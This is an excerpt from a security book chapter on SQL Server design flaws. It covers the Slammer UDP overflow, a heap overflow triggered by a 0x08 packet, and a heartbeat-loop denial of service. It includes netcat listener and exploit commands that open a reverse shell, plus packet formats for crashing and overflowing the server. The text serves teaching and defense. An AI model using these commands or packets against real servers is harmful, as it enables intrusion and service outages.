The following excerpt, courtesy of Wiley Publishing, is from Chapter 22 of the book "The Database Hacker's Handbook: Defending Database Servers" written by David Litchfield, Chris Anley, John Heasman and Bill Grindlay. Click for the complete book excerpt series or purchase the book.
Exploiting design flaws
Exploiting Design Flaws
In Chapter 21, the section SQL Server Processes and Ports described the usage of SQLPing to determine information about the database using a single-byte UDP query packet sent to the SQL Monitor service on port 1434. But what if the value of this packet is set to a value other than the expected 0x02? If the values 0x00 through 0xFF are sent to an unpatched server, the SQL Server will cease responding to any requests after 0x08 is sent. Clearly, the unexpected input has not been handled gracefully and further investigation is needed. The interesting values prove to be 0x04, which permits a stack-based buffer overflow; 0x08, which causes a heap overflow; and 0x0A, which can produce a network denial of service.
The SQL Slammer Overflow
The overflow that occurs using a leading byte of 0x04 was exploited by the SQL Slammer worm, which caused widespread Internet disruption and financial losses in January 2003. When SQL Server receives a UDP packet on its monitor port with the leading byte set to 0x04, the SQL Monitor thread uses the remainder of the packet to form a registry key to open. This operation, however, is performed using an unsafe string copy. The following example sends a packet made up of a leading 0x04 followed by the hexadecimal ASCII codes for the string REGKEY.
Registry key SQL Server will attempt to open
HKLMSoftwareMicrosoftMicrosoft SQL Server REGKEYMSSQLServer
If the string is considerably longer than the 6-byte example shown, however, an internal buffer will overflow leading to the called function's saved return address on the stack being overwritten. An exploit for this issue is widely available. After compilation, a netcat listener is started on port 53:
C:> nc –l –p 53
The exploit is launched, requesting a reverse shell to the listener on port 53:
exploit.exe target host 53 0
The successful exploit causes the netcat window to spring into life:
C:> nc –l –p 53
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
x08 Leading Byte Heap Overflow
Together with the infamous Slammer bug, the other two values causing unexpected results (0x08 and 0x0A) can both be leveraged to breach the security of the SQL Server.
A single-byte UDP packet with a value of 0x08 will bring down the SQL Server entirely. While this at first appears to be a simple denial-of-service (DoS) attack, with some investigation it can be developed into a heap overflow with the potential for execution of arbitrary code. Attaching a debugger to the sqlsrvr.exe process before the packet is sent reveals that the final function called before the crash occurs is strtok(), a C library function used to retrieve substrings from a token-delimited longer string. Every time strtok() is called it will return the next substring; when no more are found it will return NULL. The token search value passed to strtok() in this instance is 0x3A, which equates to the ASCII colon (:). Because there isn't one in our single-byte packet the function call returns NULL, and the result is then passed to atoi() for conversion from a string to an integer value without first checking that it is valid. Passing the NULL value to atoi() results in the application throwing an unhandled exception and crashing the server. If we now send a packet that contains the expected colon (x08x3A), SQL Server crashes again. This time the pointer passed to atoi() is valid, but there is no following ASCII string for it to convert into an integer. As a final test the 3-byte packet (x08x3Ax31) is sent, which tacks on the character "1" after the colon, and the SQL Server remains up. The pattern suggested by the results of the tests is that SQL Server is expecting a string in the format [hostname]:[port]. Plugging in a very long string after the leading 0x08 and then following that with a colon and a valid port number results in a heap overflow.
x0A Leading Byte Network DoS
If a vulnerable SQL Server receives a UDP packet with a leading byte of 0x0A it will respond by sending a single-byte packet of 0x0A back to the originating machine. It can be assumed by its behavior that this is some kind of heartbeat functionality, used to verify to another machine that the SQL Server is up and running. The critical issue here arises because of the simplicity of spoofing the originating IP address of a UDP packet. If the heartbeat request packet contained the spoofed originating address of another vulnerable SQL Server on the network, the response packet would go to this new server triggering off another heartbeat packet to the original server, which in turn would respond back to the new server, and so on. It is easy to see how this could very quickly lead to a serious negative impact on network conditions due to the huge amount of traffic that will be generated, and will almost certainly amount to a denial-of-service attack on both SQL Servers.
SQL Server has not just been vulnerable to overflows in the server. The SQL Server Enterprise Manager, a Microsoft Management Console snap-in, has been vulnerable to a buffer overflow when polling the network for available SQL Servers. A custom UDP server listening on port 1434 and responding to broadcast request for SQL Servers with an overly long string can overflow a Unicode character buffer in the SQL-DMO (SQL Distributed Management Objects) library, leading to arbitrary code execution. This attack could also be employed by sending out the attack packet to the network broadcast address at regular intervals until a client queries the network and treats the packet as a response. The severity of this issue is increased because the SQL Server Service Manager broadcasts a query for SQL Servers whenever it is started, so this vulnerability could be exploited whenever a SQL Server is started or a client logs on to their machine. This problem was fixed in MDAC (Microsoft Data Access Components) version 2.8 .
Click for the next excerpt in this series: SQL injection
Click for the complete book excerpt series.